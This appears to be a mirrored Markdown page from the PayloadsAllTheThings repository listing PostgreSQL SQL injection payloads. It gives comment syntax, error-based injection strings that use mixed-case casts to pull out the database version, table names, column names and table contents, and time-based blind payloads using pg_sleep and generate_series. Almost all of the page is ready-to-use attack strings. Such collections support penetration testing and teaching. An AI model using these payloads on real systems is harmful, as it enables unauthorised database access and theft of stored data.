mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 23:02:46 +00:00
21 lines
No EOL
683 B
Markdown
21 lines
No EOL
683 B
Markdown
# POSTGRESQL
|
|
|
|
## PostgreSQL Comments
|
|
```
|
|
--
|
|
/**/
|
|
```
|
|
|
|
## PostgreSQL Error Based - Basic
|
|
```
|
|
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
|
|
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
|
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
|
```
|
|
|
|
## PostgreSQL Time Based
|
|
```
|
|
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
|
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
|
``` |